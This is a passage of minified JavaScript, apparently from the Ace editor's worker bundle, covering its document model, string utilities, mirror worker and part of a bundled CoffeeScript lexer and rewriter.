t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){e instanceof o||(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),define(\"ace/mode/coffee/coffee\",[\"require\",\"exports\",\"module\"],function(require,exports,module){function define(e){module.exports=e()}define.amd={},function(root){var CoffeeScript=function(){function _dereq_(e){return _dereq_[e]}return _dereq_[\"./helpers\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o;e.starts=function(e,t,n){return t===e.substr(n,t.length)},e.ends=function(e,t,n){var r;return r=t.length,t===e.substr(e.length-r-(n||0),r)},e.repeat=s=function(e,t){var n;for(n=\"\";t>0;)1&t&&(n+=e),t>>>=1,e+=e;return n},e.compact=function(e){var t,n,r,i;for(i=[],t=0,r=e.length;r>t;t++)n=e[t],n&&i.push(n);return i},e.count=function(e,t){var n,r;if(n=r=0,!t.length)return 1/0;for(;r=1+e.indexOf(t,r);)n++;return n},e.merge=function(e,t){return n(n({},e),t)},n=e.extend=function(e,t){var n,r;for(n in t)r=t[n],e[n]=r;return e},e.flatten=r=function(e){var t,n,i,s;for(n=[],i=0,s=e.length;s>i;i++)t=e[i],t instanceof Array?n=n.concat(r(t)):n.push(t);return n},e.del=function(e,t){var n;return n=e[t],delete e[t],n},e.some=null!=(i=Array.prototype.some)?i:function(e){var t,n,r;for(n=0,r=this.length;r>n;n++)if(t=this[n],e(t))return!0;return!1},e.invertLiterate=function(e){var t,n,r;return r=!0,n=function(){var n,i,s,o;for(s=e.split(\"\\n\"),o=[],n=0,i=s.length;i>n;n++)t=s[n],r&&/^([ ]{4}|[ ]{0,3}\\t)/.test(t)?o.push(t):(r=/^\\s*$/.test(t))?o.push(t):o.push(\"# \"+t);return o}(),n.join(\"\\n\")},t=function(e,t){return t?{first_line:e.first_line,first_column:e.first_column,last_line:t.last_line,last_column:t.last_column}:e},e.addLocationDataFn=function(e,n){return function(r){return\"object\"==typeof r&&r.updateLocationDataIfMissing&&r.updateLocationDataIfMissing(t(e,n)),r}},e.locationDataToString=function(e){var t;return\"2\"in e&&\"first_line\"in e[2]?t=e[2]:\"first_line\"in e&&(t=e),t?t.first_line+1+\":\"+(t.first_column+1)+\"-\"+(t.last_line+1+\":\"+(t.last_column+1)):\"No location data\"},e.baseFileName=function(e,t,n){var r,i;return null==t&&(t=!1),null==n&&(n=!1),i=n?/\\\\|\\//:/\\//,r=e.split(i),e=r[r.length-1],t&&e.indexOf(\".\")>=0?(r=e.split(\".\"),r.pop(),\"coffee\"===r[r.length-1]&&r.length>1&&r.pop(),r.join(\".\")):e},e.isCoffee=function(e){return/\\.((lit)?coffee|coffee\\.md)$/.test(e)},e.isLiterate=function(e){return/\\.(litcoffee|coffee\\.md)$/.test(e)},e.throwSyntaxError=function(e,t){var n;throw n=new SyntaxError(e),n.location=t,n.toString=o,n.stack=\"\"+n,n},e.updateSyntaxError=function(e,t,n){return e.toString===o&&(e.code||(e.code=t),e.filename||(e.filename=n),e.stack=\"\"+e),e},o=function(){var e,t,n,r,i,o,u,a,f,l,c,h,p,d,v;return this.code&&this.location?(c=this.location,u=c.first_line,o=c.first_column,f=c.last_line,a=c.last_column,null==f&&(f=u),null==a&&(a=o),i=this.filename||\"[stdin]\",e=this.code.split(\"\\n\")[u],v=o,r=u===f?a+1:e.length,l=e.slice(0,v).replace(/[^\\s]/g,\" \")+s(\"^\",r-v),\"undefined\"!=typeof process&&null!==process&&(n=(null!=(h=process.stdout)?h.isTTY:void 0)&&(null!=(p=process.env)?!p.NODE_DISABLE_COLORS:!void 0)),(null!=(d=this.colorful)?d:n)&&(t=function(e){return\"\u001b[1;31m\"+e+\"\u001b[0m\"},e=e.slice(0,v)+t(e.slice(v,r))+e.slice(r),l=t(l)),i+\":\"+(u+1)+\":\"+(o+1)+\": error: \"+this.message+\"\\n\"+e+\"\\n\"+l):Error.prototype.toString.call(this)},e.nameWhitespaceCharacter=function(e){switch(e){case\" \":return\"space\";case\"\\n\":return\"newline\";case\"\\r\":return\"carriage return\";case\"\t\":return\"tab\";default:return e}}}.call(this),t.exports}(),_dereq_[\"./rewriter\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1},E=[].slice;for(d=function(e,t,n){var r;return r=[e,t],r.generated=!0,n&&(r.origin=n),r},e.Rewriter=function(){function e(){}return e.prototype.rewrite=function(e){return this.tokens=e,this.removeLeadingNewlines(),this.closeOpenCalls(),this.closeOpenIndexes(),this.normalizeLines(),this.tagPostfixConditionals(),this.addImplicitBracesAndParens(),this.addLocationDataToGeneratedTokens(),this.tokens},e.prototype.scanTokens=function(e){var t,n,r;for(r=this.tokens,t=0;n=r[t];)t+=e.call(this,n,t,r);return!0},e.prototype.detectEnd=function(e,t,n){var r,o,u,a,f;for(f=this.tokens,r=0;a=f[e];){if(0===r&&t.call(this,a,e))return n.call(this,a,e);if(!a||0>r)return n.call(this,a,e-1);o=a[0],w.call(s,o)>=0?r+=1:(u=a[0],w.call(i,u)>=0&&(r-=1)),e+=1}return e-1},e.prototype.removeLeadingNewlines=function(){var e,t,n,r,i;for(r=this.tokens,e=t=0,n=r.length;n>t&&(i=r[e][0],\"TERMINATOR\"===i);e=++t);return e?this.tokens.splice(0,e):void 0},e.prototype.closeOpenCalls=function(){var e,t;return t=function(e,t){var n;return\")\"===(n=e[0])||\"CALL_END\"===n||\"OUTDENT\"===e[0]&&\")\"===this.tag(t-1)},e=function(e,t){return this.tokens[\"OUTDENT\"===e[0]?t-1:t][0]=\"CALL_END\"},this.scanTokens(function(n,r){return\"CALL_START\"===n[0]&&this.detectEnd(r+1,t,e),1})},e.prototype.closeOpenIndexes=function(){var e,t;return t=function(e){var t;return\"]\"===(t=e[0])||\"INDEX_END\"===t},e=function(e){return e[0]=\"INDEX_END\"},this.scanTokens(function(n,r){return\"INDEX_START\"===n[0]&&this.detectEnd(r+1,t,e),1})},e.prototype.indexOfTag=function(){var e,t,n,r,i,s,o;for(t=arguments[0],i=arguments.length>=2?E.call(arguments,1):[],e=0,n=r=0,s=i.length;s>=0?s>r:r>s;n=s>=0?++r:--r){for(;\"HERECOMMENT\"===this.tag(t+n+e);)e+=2;if(null!=i[n]&&(\"string\"==typeof i[n]&&(i[n]=[i[n]]),o=this.tag(t+n+e),0>w.call(i[n],o)))return-1}return t+n+e-1},e.prototype.looksObjectish=function(e){var t,n;return this.indexOfTag(e,\"@\",null,\":\")>-1||this.indexOfTag(e,null,\":\")>-1?!0:(n=this.indexOfTag(e,s),n>-1&&(t=null,this.detectEnd(n+1,function(e){var t;return t=e[0],w.call(i,t)>=0},function(e,n){return t=n}),\":\"===this.tag(t+1))?!0:!1)},e.prototype.findTagsBackwards=function(e,t){var n,r,o,u,a,f,l;for(n=[];e>=0&&(n.length||(u=this.tag(e),0>w.call(t,u)&&(a=this.tag(e),0>w.call(s,a)||this.tokens[e].generated)&&(f=this.tag(e),0>w.call(c,f))));)r=this.tag(e),w.call(i,r)>=0&&n.push(this.tag(e)),o=this.tag(e),w.call(s,o)>=0&&n.length&&n.pop(),e-=1;return l=this.tag(e),w.call(t,l)>=0},e.prototype.addImplicitBracesAndParens=function(){var e,t;return e=[],t=null,this.scanTokens(function(r,l,h){var p,v,m,g,y,b,E,S,x,T,N,C,L,A,O,M,_,D,P,H,B,j,F,I,q,R,U,z;if(z=r[0],N=(C=l>0?h[l-1]:[])[0],x=(h.length-1>l?h[l+1]:[])[0],F=function(){return e[e.length-1]},I=l,m=function(e){return l-I+e},g=function(){var e,t;return null!=(e=F())?null!=(t=e[2])?t.ours:void 0:void 0},y=function(){var e;return g()&&\"(\"===(null!=(e=F())?e[0]:void 0)},E=function(){var e;return g()&&\"{\"===(null!=(e=F())?e[0]:void 0)},b=function(){var e;return g&&\"CONTROL\"===(null!=(e=F())?e[0]:void 0)},q=function(t){var n;return n=null!=t?t:l,e.push([\"(\",n,{ours:!0}]),h.splice(n,0,d(\"CALL_START\",\"(\")),null==t?l+=1:void 0},p=function(){return e.pop(),h.splice(l,0,d(\"CALL_END\",\")\",[\"\",\"end of input\",r[2]])),l+=1},R=function(t,n){var i,s;return null==n&&(n=!0),i=null!=t?t:l,e.push([\"{\",i,{sameLine:!0,startsLine:n,ours:!0}]),s=new String(\"{\"),s.generated=!0,h.splice(i,0,d(\"{\",s,r)),null==t?l+=1:void 0},v=function(t){return t=null!=t?t:l,e.pop(),h.splice(t,0,d(\"}\",\"}\",r)),l+=1},!y()||\"IF\"!==z&&\"TRY\"!==z&&\"FINALLY\"!==z&&\"CATCH\"!==z&&\"CLASS\"!==z&&\"SWITCH\"!==z){if(\"INDENT\"===z&&g()){if(\"=>\"!==N&&\"->\"!==N&&\"[\"!==N&&\"(\"!==N&&\",\"!==N&&\"{\"!==N&&\"TRY\"!==N&&\"ELSE\"!==N&&\"=\"!==N)for(;y();)p();return b()&&e.pop(),e.push([z,l]),m(1)}if(w.call(s,z)>=0)return e.push([z,l]),m(1);if(w.call(i,z)>=0){for(;g();)y()?p():E()?v():e.pop();t=e.pop()}if((w.call(a,z)>=0&&r.spaced||\"?\"===z&&l>0&&!h[l-1].spaced)&&(w.call(o,x)>=0||w.call(f,x)>=0&&(null!=(L=h[l+1])?!L.spaced:!void 0)&&(null!=(A=h[l+1])?!A.newLine:!void 0)))return\"?\"===z&&(z=r[0]=\"FUNC_EXIST\"),q(l+1),m(2);if(w.call(a,z)>=0&&this.indexOfTag(l+1,\"INDENT\")>-1&&this.looksObjectish(l+2)&&!this.findTagsBackwards(l,[\"CLASS\",\"EXTENDS\",\"IF\",\"CATCH\",\"SWITCH\",\"LEADING_WHEN\",\"FOR\",\"WHILE\",\"UNTIL\"]))return q(l+1),e.push([\"INDENT\",l+2]),m(3);if(\":\"===z){for(P=function(){var e;switch(!1){case e=this.tag(l-1),0>w.call(i,e):return t[1];case\"@\"!==this.tag(l-2):return l-2;default:return l-1}}.call(this);\"HERECOMMENT\"===this.tag(P-2);)P-=2;return this.insideForDeclaration=\"FOR\"===x,U=0===P||(O=this.tag(P-1),w.call(c,O)>=0)||h[P-1].newLine,F()&&(M=F(),j=M[0],B=M[1],(\"{\"===j||\"INDENT\"===j&&\"{\"===this.tag(B-1))&&(U||\",\"===this.tag(P-1)||\"{\"===this.tag(P-1)))?m(1):(R(P,!!U),m(2))}if(E()&&w.call(c,z)>=0&&(F()[2].sameLine=!1),S=\"OUTDENT\"===N||C.newLine,w.call(u,z)>=0||w.call(n,z)>=0&&S)for(;g();)if(_=F(),j=_[0],B=_[1],D=_[2],H=D.sameLine,U=D.startsLine,y()&&\",\"!==N)p();else if(E()&&!this.insideForDeclaration&&H&&\"TERMINATOR\"!==z&&\":\"!==N)v();else{if(!E()||\"TERMINATOR\"!==z||\",\"===N||U&&this.looksObjectish(l+1))break;if(\"HERECOMMENT\"===x)return m(1);v()}if(!(\",\"!==z||this.looksObjectish(l+1)||!E()||this.insideForDeclaration||\"TERMINATOR\"===x&&this.looksObjectish(l+2)))for(T=\"OUTDENT\"===x?1:0;E();)v(l+T);return m(1)}return e.push([\"CONTROL\",l,{ours:!0}]),m(1)})},e.prototype.addLocationDataToGeneratedTokens=function(){return this.scanTokens(function(e,t,n){var r,i,s,o,u,a;return e[2]?1:e.generated||e.explicit?(\"{\"===e[0]&&(s=null!=(u=n[t+1])?u[2]:void 0)?(i=s.first_line,r=s.first_column):(o=null!=(a=n[t-1])?a[2]:void 0)?(i=o.last_line,r=o.last_column):i=r=0,e[2]={first_line:i,first_column:r,last_line:i,last_column:r},1):1})},e.prototype.normalizeLines=function(){var e,t,i,s,o;return o=i=s=null,t=function(e,t){var i,s,u,a;return\";\"!==e[1]&&(i=e[0],w.call(h,i)>=0)&&!(\"TERMINATOR\"===e[0]&&(s=this.tag(t+1),w.call(r,s)>=0))&&(\"ELSE\"!==e[0]||\"THEN\"===o)&&(\"CATCH\"!==(u=e[0])&&\"FINALLY\"!==u||\"->\"!==o&&\"=>\"!==o)||(a=e[0],w.call(n,a)>=0&&this.tokens[t-1].newLine)},e=function(e,t){return this.tokens.splice(\",\"===this.tag(t-1)?t-1:t,0,s)},this.scanTokens(function(n,u,a){var f,l,c,h,d,v;if(v=n[0],\"TERMINATOR\"===v){if(\"ELSE\"===this.tag(u+1)&&\"OUTDENT\"!==this.tag(u-1))return a.splice.apply(a,[u,1].concat(E.call(this.indentation()))),1;if(c=this.tag(u+1),w.call(r,c)>=0)return a.splice(u,1),0}if(\"CATCH\"===v)for(f=l=1;2>=l;f=++l)if(\"OUTDENT\"===(h=this.tag(u+f))||\"TERMINATOR\"===h||\"FINALLY\"===h)return a.splice.apply(a,[u+f,0].concat(E.call(this.indentation()))),2+f;return w.call(p,v)>=0&&\"INDENT\"!==this.tag(u+1)&&(\"ELSE\"!==v||\"IF\"!==this.tag(u+1))?(o=v,d=this.indentation(a[u]),i=d[0],s=d[1],\"THEN\"===o&&(i.fromThen=!0),a.splice(u+1,0,i),this.detectEnd(u+2,t,e),\"THEN\"===v&&a.splice(u,1),1):1})},e.prototype.tagPostfixConditionals=function(){var e,t,n;return n=null,t=function(e,t){var n,r;return r=e[0],n=this.tokens[t-1][0],\"TERMINATOR\"===r||\"INDENT\"===r&&0>w.call(p,n)},e=function(e){return\"INDENT\"!==e[0]||e.generated&&!e.fromThen?n[0]=\"POST_\"+n[0]:void 0},this.scanTokens(function(r,i){return\"IF\"!==r[0]?1:(n=r,this.detectEnd(i+1,t,e),1)})},e.prototype.indentation=function(e){var t,n;return t=[\"INDENT\",2],n=[\"OUTDENT\",2],e?(t.generated=n.generated=!0,t.origin=n.origin=e):t.explicit=n.explicit=!0,[t,n]},e.prototype.generate=d,e.prototype.tag=function(e){var t;return null!=(t=this.tokens[e])?t[0]:void 0},e}(),t=[[\"(\",\")\"],[\"[\",\"]\"],[\"{\",\"}\"],[\"INDENT\",\"OUTDENT\"],[\"CALL_START\",\"CALL_END\"],[\"PARAM_START\",\"PARAM_END\"],[\"INDEX_START\",\"INDEX_END\"],[\"STRING_START\",\"STRING_END\"],[\"REGEX_START\",\"REGEX_END\"]],e.INVERSES=l={},s=[],i=[],v=0,g=t.length;g>v;v++)y=t[v],m=y[0],b=y[1],s.push(l[b]=m),i.push(l[m]=b);r=[\"CATCH\",\"THEN\",\"ELSE\",\"FINALLY\"].concat(i),a=[\"IDENTIFIER\",\"SUPER\",\")\",\"CALL_END\",\"]\",\"INDEX_END\",\"@\",\"THIS\"],o=[\"IDENTIFIER\",\"NUMBER\",\"STRING\",\"STRING_START\",\"JS\",\"REGEX\",\"REGEX_START\",\"NEW\",\"PARAM_START\",\"CLASS\",\"IF\",\"TRY\",\"SWITCH\",\"THIS\",\"BOOL\",\"NULL\",\"UNDEFINED\",\"UNARY\",\"YIELD\",\"UNARY_MATH\",\"SUPER\",\"THROW\",\"@\",\"->\",\"=>\",\"[\",\"(\",\"{\",\"--\",\"++\"],f=[\"+\",\"-\"],u=[\"POST_IF\",\"FOR\",\"WHILE\",\"UNTIL\",\"WHEN\",\"BY\",\"LOOP\",\"TERMINATOR\"],p=[\"ELSE\",\"->\",\"=>\",\"TRY\",\"FINALLY\",\"THEN\"],h=[\"TERMINATOR\",\"CATCH\",\"FINALLY\",\"ELSE\",\"OUTDENT\",\"LEADING_WHEN\"],c=[\"TERMINATOR\",\"INDENT\",\"OUTDENT\"],n=[\".\",\"?.\",\"::\",\"?::\"]}.call(this),t.exports}(),_dereq_[\"./lexer\"]=function(){var e={},t={exports:e};return function(){var t,n,r,i,s,o,u,a,f,l,c,h,p,d,v,m,g,y,b,w,E,S,x,T,N,C,k,L,A,O,M,_,D,P,H,B,j,F,I,q,R,U,z,W,X,V,$,J,K,Q,G,Y,Z,et,tt,nt,rt,it,st,ot,ut,at,ft,lt,ct=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1};ot=_dereq_(\"./rewriter\"),R=ot.Rewriter,E=ot.INVERSES,ut=_dereq_(\"./helpers\"),nt=ut.count,ft=ut.starts,tt=ut.compact,at=ut.repeat,rt=ut.invertLiterate,st=ut.locationDataToString,lt=ut.throwSyntaxError,e.Lexer=A=function(){function e(){}return e.prototype.tokenize=function(e,t){var n,r,i,s;for(null==t&&(t={}),this.literate=t.literate,this.indent=0,this.baseIndent=0,this.indebt=0,this.outdebt=0,this.indents=[],this.ends=[],this.tokens=[],this.chunkLine=t.line||0,this.chunkColumn=t.column||0,e=this.clean(e),i=0;this.chunk=e.slice(i);)if(n=this.identifierToken()||this.commentToken()||this.whitespaceToken()||this.lineToken()||this.stringToken()||this.numberToken()||this.regexToken()||this.jsToken()||this.literalToken(),s=this.getLineAndColumnFromChunk(n),this.chunkLine=s[0],this.chunkColumn=s[1],i+=n,t.untilBalanced&&0===this.ends.length)return{tokens:this.tokens,index:i};return this.closeIndentation(),(r=this.ends.pop())&&this.error(\"missing \"+r.tag,r.origin[2]),t.rewrite===!1?this.tokens:(new R).rewrite(this.tokens)},e.prototype.clean=function(e){return e.charCodeAt(0)===t&&(e=e.slice(1)),e=e.replace(/\\r/g,\"\").replace(Q,\"\"),et.test(e)&&(e=\"\\n\"+e,this.chunkLine--),this.literate&&(e=rt(e)),e},e.prototype.identifierToken=function(){var e,t,n,r,i,a,f,l,c,h,p,d,v,m,y,b;return(l=g.exec(this.chunk))?(f=l[0],i=l[1],t=l[2],a=i.length,c=void 0,\"own\"===i&&\"FOR\"===this.tag()?(this.token(\"OWN\",i),i.length):\"from\"===i&&\"YIELD\"===this.tag()?(this.token(\"FROM\",i),i.length):(p=this.tokens,h=p[p.length-1],r=t||null!=h&&(\".\"===(d=h[0])||\"?.\"===d||\"::\"===d||\"?::\"===d||!h.spaced&&\"@\"===h[0]),y=\"IDENTIFIER\",!r&&(ct.call(T,i)>=0||ct.call(u,i)>=0)&&(y=i.toUpperCase(),\"WHEN\"===y&&(v=this.tag(),ct.call(C,v)>=0)?y=\"LEADING_WHEN\":\"FOR\"===y?this.seenFor=!0:\"UNLESS\"===y?y=\"IF\":ct.call(G,y)>=0?y=\"UNARY\":ct.call(I,y)>=0&&(\"INSTANCEOF\"!==y&&this.seenFor?(y=\"FOR\"+y,this.seenFor=!1):(y=\"RELATION\",\"!\"===this.value()&&(c=this.tokens.pop(),i=\"!\"+i)))),ct.call(x,i)>=0&&(r?(y=\"IDENTIFIER\",i=new String(i),i.reserved=!0):ct.call(q,i)>=0&&this.error(\"reserved word '\"+i+\"'\",{length:i.length})),r||(ct.call(s,i)>=0&&(e=i,i=o[i]),y=function(){switch(i){case\"!\":return\"UNARY\";case\"==\":case\"!=\":return\"COMPARE\";case\"&&\":case\"||\":return\"LOGIC\";case\"true\":case\"false\":return\"BOOL\";case\"break\":case\"continue\":return\"STATEMENT\";default:return y}}()),b=this.token(y,i,0,a),e&&(b.origin=[y,e,b[2]]),b.variable=!r,c&&(m=[c[2].first_line,c[2].first_column],b[2].first_line=m[0],b[2].first_column=m[1]),t&&(n=f.lastIndexOf(\":\"),this.token(\":\",\":\",n,t.length)),f.length)):0},e.prototype.numberToken=function(){var e,t,n,r,i;return(n=D.exec(this.chunk))?(r=n[0],t=r.length,/^0[BOX]/.test(r)?this.error(\"radix prefix in '\"+r+\"' must be lowercase\",{offset:1}):/E/.test(r)&&!/^0x/.test(r)?this.error(\"exponential notation in '\"+r+\"' must be indicated with a lowercase 'e'\",{offset:r.indexOf(\"E\")}):/^0\\d*[89]/.test(r)?this.error(\"decimal literal '\"+r+\"' must not be prefixed with '0'\",{length:t}):/^0\\d+/.test(r)&&this.error(\"octal literal '\"+r+\"' must be prefixed with '0o'\",{length:t}),(i=/^0o([0-7]+)/.exec(r))&&(r=\"0x\"+parseInt(i[1],8).toString(16)),(e=/^0b([01]+)/.exec(r))&&(r=\"0x\"+parseInt(e[1],2).toString(16)),this.token(\"NUMBER\",r,0,t),t):0},e.prototype.stringToken=function(){var e,t,n,r,i,s,o,u,a,f,l,c,v,m,g,y;if(l=(J.exec(this.chunk)||[])[0],!l)return 0;if(m=function(){switch(l){case\"'\":return $;case'\"':return X;case\"'''\":return d;case'\"\"\"':return h}}(),s=3===l.length,c=this.matchWithInterpolations(m,l),y=c.tokens,i=c.index,e=y.length-1,n=l.charAt(0),s){for(u=null,r=function(){var e,t,n;for(n=[],o=e=0,t=y.length;t>e;o=++e)g=y[o],\"NEOSTRING\"===g[0]&&n.push(g[1]);return n}().join(\"#{}\");f=p.exec(r);)t=f[1],(null===u||(v=t.length)>0&&u.length>v)&&(u=t);u&&(a=RegExp(\"^\"+u,\"gm\")),this.mergeInterpolationTokens(y,{delimiter:n},function(t){return function(n,r){return n=t.formatString(n),0===r&&(n=n.replace(N,\"\")),r===e&&(n=n.replace(K,\"\")),a&&(n=n.replace(a,\"\")),n}}(this))}else 